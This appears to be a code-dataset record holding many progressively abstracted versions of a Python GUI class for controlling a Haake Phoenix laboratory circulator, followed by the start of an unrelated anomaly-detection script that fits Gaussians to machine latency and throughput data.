self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol',\n 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue),\n IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit',\n 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue,\n IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on',\n 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(\n newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(\n bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue, [\n IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error',\n 'internal_pt100_error', 'liquid_level_low_error',\n 'cooling_error', 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error',\n 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue,\n IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'\n ][int(bool(newvalue))], IndicatorState.NEUTRAL)\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0\n )\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n\n def on_set_setpoint(self, button):\n spinbutton = self.builder.get_object('setpoint_spin')\n self.instrument.get_device('haakephoenix').set_variable('setpoint',\n spinbutton.get_value())\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n\n def on_set_highlimit(self, button):\n spinbutton = self.builder.get_object('highlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('highlimit',\n spinbutton.get_value())\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol',\n 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue),\n IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit',\n 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue,\n IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on',\n 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(\n newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(\n bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue, [\n IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error',\n 'internal_pt100_error', 'liquid_level_low_error',\n 'cooling_error', 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error',\n 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue,\n IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'\n ][int(bool(newvalue))], IndicatorState.NEUTRAL)\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0\n )\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n\n def on_set_setpoint(self, button):\n spinbutton = self.builder.get_object('setpoint_spin')\n self.instrument.get_device('haakephoenix').set_variable('setpoint',\n spinbutton.get_value())\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol',\n 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue),\n IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit',\n 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue,\n IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on',\n 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(\n newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(\n bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue, [\n IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error',\n 'internal_pt100_error', 'liquid_level_low_error',\n 'cooling_error', 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error',\n 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue,\n IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'\n ][int(bool(newvalue))], IndicatorState.NEUTRAL)\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0\n )\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n <function token>\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n <function token>\n <function token>\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n <function token>\n <function token>\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n <function token>\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n <function token>\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n <function token>\n <function token>\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n <function token>\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n <function token>\n <function token>\n <function token>\n <function token>\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n <function token>\n <function token>\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n <function token>\n <function token>\n <function token>\n <function token>\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
487
de6b9961e0572338c87802314e7ae3cded5168b4
import matplotlib.pyplot as plt import numpy as np import scipy.io as scio import estimateGaussian as eg import multivariateGaussian as mvg import visualizeFit as vf import selectThreshold as st plt.ion() # np.set_printoptions(formatter={'float': '{: 0.6f}'.format}) '''第1部分 加载示例数据集''' #先通过一个小数据集进行异常检测 便于可视化 # 数据集包含两个特征 # 一些机器的等待时间和吞吐量 实验目的找出其中可能有异常的机器 print('Visualizing example dataset for outlier detection.') data = scio.loadmat('ex8data1.mat') X = data['X']#训练集样本特征矩阵 Xval = data['Xval'] #验证集样本特征矩阵 yval = data['yval'].flatten() #验证集样本标签 异常/正常 # 可视化样例训练集 plt.figure() plt.scatter(X[:, 0], X[:, 1], c='b', marker='x', s=15, linewidth=1) plt.axis([0, 30, 0, 30]) plt.xlabel('Latency (ms)') #x1等待时间 plt.ylabel('Throughput (mb/s') #x2吞吐量 input('Program paused. Press ENTER to continue') '''第2部分 估计训练集的分布''' # 假设数据集的各个特征服从高斯分布 print('Visualizing Gaussian fit.') # 参数估计 mu, sigma2 = eg.estimate_gaussian(X) # 计算训练集的概率分布 p = mvg.multivariate_gaussian(X, mu, sigma2) #可视化训练集的概率分布 画出等高线图 vf.visualize_fit(X, mu, sigma2) plt.xlabel('Latency (ms)') plt.ylabel('Throughput (mb/s') 